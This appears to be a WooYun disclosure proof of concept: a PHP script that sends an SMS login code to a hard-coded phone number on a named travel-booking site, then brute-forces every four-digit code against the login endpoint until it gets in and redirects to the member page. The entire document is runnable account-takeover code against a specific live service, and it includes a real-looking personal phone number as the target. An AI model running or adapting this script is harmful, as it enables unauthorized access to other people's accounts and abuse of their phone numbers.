WooYun.org

<?php
$tel = '13186983074'; //目标手机号
//先发送动态密码到手机
curlpost("mobile=$tel",'http://mzaoniao.wm.yiqifei.com/Account/SendSMSCode');
//登录url
$url = 'http://mzaoniao.wm.yiqifei.com/Account/Login?returnUrl=%2FMember';
//暴力猜解4位数字验证码
for($i=0;$i<=9999;$i++)
{
	$code = sprintf("%04d", $i);
	$data = "Mobile=$tel&Code=$code&Type=2";
	$result = curlpost($data, $url);
	//如果返回结果不包含"错误"，则表示验证码正确，跳转到用户信息页面
	if(FALSE == strpos($result, '错误'))
	{
		echo '<script>window.location="http://mzaoniao.wm.yiqifei.com/Member"</script>';
		break;
	}
}
function curlpost($data,$url) //curlpost 函数
{
	$ch = curl_init();//初始化curl  
	curl_setopt($ch,CURLOPT_URL,$url);//抓取指定网页  
	curl_setopt($ch, CURLOPT_HEADER, 0);//设置header  
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//要求结果为字符串且输出到屏幕上  
	curl_setopt($ch, CURLOPT_POST, 1);//post提交方式  
	curl_setopt($ch, CURLOPT_POSTFIELDS, $data); //post data
	$result = curl_exec($ch);//运行curl  
	curl_close($ch);  
	return $result;
}